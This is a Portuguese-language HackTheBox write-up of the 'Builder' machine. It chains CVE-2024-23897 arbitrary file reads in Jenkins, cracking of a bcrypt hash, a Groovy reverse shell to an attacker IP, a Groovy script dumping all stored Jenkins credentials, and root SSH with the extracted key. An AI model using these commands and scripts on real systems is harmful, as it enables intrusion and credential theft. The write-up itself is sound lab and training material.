Hackthebox
Neste writeup iremos explorar uma máquina linux de nível medium que aborda as seguintes vulnerabilidades e técnicas de exploração
- CVE-2024-23897 (Jenkins Arbitrary File Read)
- Sensitive Data Exposure
Recon e user flag
Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# nmap -sV --open -Pn 10.129.220.88 Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-13 12:15 EST Nmap scan report for 10.129.220.88 Host is up (0.26s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Jetty 10.0.18 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.
Ao acessar a porta 8080 pelo navegador temos a seguinte página:
Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação focada no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.
Podemos notar que ser precisar de um usuário conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).
Também podemos listar os usuários, que no caso temos somente o usuário jennifer:
Também conseguimos listar as credenciais:
Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:
Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a CVE-2024-23897 que se trata de um Arbitrary File Read na versão 2.441 e anteriores.
Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Uma lib chamada args4j é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter @ seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.
No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.
Vamos realizar o download da seguinte forma:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar --2024-02-13 12:20:57-- http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar Connecting to 10.129.220.88:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 3623400 (3.5M) [application/java-archive] Saving to: ‘jenkins-cli.jar’ jenkins-cli.jar 100%[=================================================================================>] 3.46M 547KB/s in 8.6s 2024-02-13 12:21:06 (413 KB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]
Para explorar a vulnerabilidade executamos o seguinte comando:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/etc/passwd" | cut -d '\No' -f1 cut: the delimiter must be a single character Try 'cut --help' for more information. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists. root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists. _apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists. bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists. irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists. jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists. games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists. sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists. sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists. ERROR: Error occurred while performing this command, see previous stderr output.
Conseguimos o retorno do /etc/passwd, podemos colocar o resultado em um arquivo para filtrar a saída:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# awk -F 'No such agent' '{print $1}' passwd www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: root:x:0:0:root:/root:/bin/bash: mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: _apt:x:42:65534::/nonexistent:/usr/sbin/nologin: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: bin:x:2:2:bin:/bin:/usr/sbin/nologin: news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: games:x:5:60:games:/usr/games:/usr/sbin/nologin: man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
Podemos notar que existem dois usuários, root e jenkins. A home do root é** /root e a home do usuário jenkins é /var/jenkins_home.
Com isso conseguimos buscar a user flag:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/user.txt" ERROR: No such agent "aea470ff3badab8504db49aa7e1d9e34" exists.
Escalação de privilégios e root flag
Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o /var/jenkins_home/users/users.xml que possui informações de usuários do jenkins:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/users/users.xml" <?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists. <string>jennifer_12108429903186576833</string>: No such agent " <string>jennifer_12108429903186576833</string>" exists. <idToDirectoryNameMap class="concurrent-hash-map">: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists. <entry>: No such agent " <entry>" exists. <string>jennifer</string>: No such agent " <string>jennifer</string>" exists. <version>1</version>: No such agent " <version>1</version>" exists. </hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists. </idToDirectoryNameMap>: No such agent " </idToDirectoryNameMap>" exists. <hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists. </entry>: No such agent " </entry>" exists. ERROR: Error occurred while performing this command, see previous stderr output.
Iremos adicionar o resultado em um arquivo para uma melhor leitura:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# awk -F 'No such agent' '{print $1}' users.xml <?xml version='1.1' encoding='UTF-8'?>: <string>jennifer_12108429903186576833</string>: <idToDirectoryNameMap class="concurrent-hash-map">: <entry>: <string>jennifer</string>: <version>1</version>: </hudson.model.UserIdMapper>: </idToDirectoryNameMap>: <hudson.model.UserIdMapper>: </entry>:
Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: jennifer_12108429903186576833
Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml ... ...
Conseguimos visualizar melhor filtrando em um arquivo:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# awk -F 'No such agent' '{print $1}' jennifer-config.xml <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: <hudson.search.UserSearchProperty>: <roles>: <jenkins.security.seed.UserSeedProperty>: </tokenStore>: </hudson.search.UserSearchProperty>: <timeZoneName></timeZoneName>: <properties>: <jenkins.security.LastGrantedAuthoritiesProperty>: <flags/>: <hudson.model.MyViewsProperty>: </user>: </jenkins.security.ApiTokenProperty>: <views>: <string>authenticated</string>: <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: <user>: <name>all</name>: <description></description>: <emailAddress>jennifer@builder.htb</emailAddress>: <collapsed/>: </jenkins.security.seed.UserSeedProperty>: </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: </hudson.model.MyViewsProperty>: <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: <filterQueue>false</filterQueue>: <jenkins.security.ApiTokenProperty>: <primaryViewName></primaryViewName>: </views>: </hudson.model.TimeZoneProperty>: <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: </hudson.model.PaneStatusProperties>: </hudson.tasks.Mailer_-UserProperty>: <tokenList/>: <jenkins.console.ConsoleUrlProviderUserProperty/>: </hudson.model.AllView>: <timestamp>1707318554385</timestamp>: <owner class="hudson.model.MyViewsProperty" reference="../../.."/>: </properties>: </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: <hudson.security.HudsonPrivateSecurityRealm_-Details>: <insensitiveSearch>true</insensitiveSearch>: <properties class="hudson.model.View$PropertyList"/>: <hudson.model.TimeZoneProperty>: <hudson.model.AllView>: </hudson.security.HudsonPrivateSecurityRealm_-Details>: <providerId>default</providerId>: </roles>: </jenkins.security.LastGrantedAuthoritiesProperty>: <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: <hudson.model.PaneStatusProperties>: <?xml version='1.1' encoding='UTF-8'?>: <fullName>jennifer</fullName>: <seed>6841d11dc1de101d</seed>: <id>jennifer</id>: <version>10</version>: <tokenStore>: <filterExecutors>false</filterExecutors>: <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>:
E assim conseguimos o email jennifer@builder.htb
e a hash da senha do usuário $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Vamos utilizar o john the ripper para quebrar essa hash:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# john -w=/usr/share/wordlists/rockyou.txt jennifer-hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status princess (?) 1g 0:00:00:00 DONE (2024-02-14 17:12) 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool Use the "--show" option to display all of the cracked passwords reliably Session completed.
Conseguimos a senha do usuário jennifer, agora podemos logar na interface do jenkins:
O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:
Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:
String host='10.10.16.25'; int port=4444; String cmd='bash'; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Dessa forma vamos conseguir acesso somente como o usuário jenkins.
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* import com.cloudbees.plugins.credentials.* import com.cloudbees.plugins.credentials.impl.* import com.cloudbees.plugins.credentials.domains.* import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey import org.jenkinsci.plugins.plaincredentials.StringCredentials import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl def showRow = { credentialType, secretId, username = null, password = null, description = null -> println("${credentialType} : ".padLeft(20) + secretId?.padRight(38)+" | " +username?.padRight(20)+" | " +password?.padRight(40) + " | " +description) } // set Credentials domain name (null means is it global) domainName = null credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore() domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList()) credentialsStore?.getCredentials(domain).each{ if(it instanceof UsernamePasswordCredentialsImpl) showRow("user/password", it.id, it.username, it.password?.getPlainText(), it.description) else if(it instanceof BasicSSHUserPrivateKey) showRow("ssh priv key", it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description) else if(it instanceof StringCredentials) showRow("secret text", it.id, it.secret?.getPlainText(), '', it.description) else if(it instanceof FileCredentialsImpl) showRow("secret file", it.id, it.content?.text, '', it.description) else showRow("something else", it.id, '', '', '') } return
E assim temos uma chave privada:
Vamos salvar o conteúdo em um arquivo chamado id_rsa_root e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# chmod 600 id_rsa_root
Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder] └─# ssh -i id_rsa_root root@10.129.244.76 Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Wed Feb 14 10:50:05 PM UTC 2024 System load: 0.2177734375 Usage of /: 66.0% of 5.81GB Memory usage: 33% Swap usage: 0% Processes: 247 Users logged in: 0 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.129.244.76 IPv6 address for eth0: dead:beef::250:56ff:fe96:9588 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
E assim conseguimos a root flag:
root@builder:~# ls -alh total 32K drwx------ 5 root root 4.0K Feb 14 22:47 . drwxr-xr-x 18 root root 4.0K Feb 9 15:45 .. lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null -rw-r--r-- 1 root root 3.1K Oct 15 2021 .bashrc drwx------ 2 root root 4.0K Apr 27 2023 .cache drwxr-xr-x 3 root root 4.0K Apr 27 2023 .local -rw-r--r-- 1 root root 161 Jul 9 2019 .profile -rw-r----- 1 root root 33 Feb 14 22:47 root.txt drwx------ 2 root root 4.0K Feb 8 11:24 .ssh root@builder:~# cat root.txt 229275386e7300b9ad9425a630fa815c
Finalizando a máquina Builder !
Top comments (0)